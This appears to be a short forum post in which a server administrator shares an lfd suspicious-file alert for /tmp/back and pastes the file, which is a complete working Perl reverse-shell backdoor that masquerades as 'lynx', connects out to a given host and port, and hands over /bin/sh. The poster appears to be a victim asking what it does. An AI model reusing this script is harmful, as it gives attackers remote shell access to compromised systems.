Lfd: Suspicious File Alert

I got this system email:

Time: Sun Mar 23 23:09:01 2008
File: /tmp/back
Reason: Script, starts with #!
Owner: nobody:nobody
Action: No action taken

So I looked and the file says this:

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!
");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!
");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr) || die("Error: $!
");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

That one line 'echo "`uname -a`";echo "`id`";/bin/sh';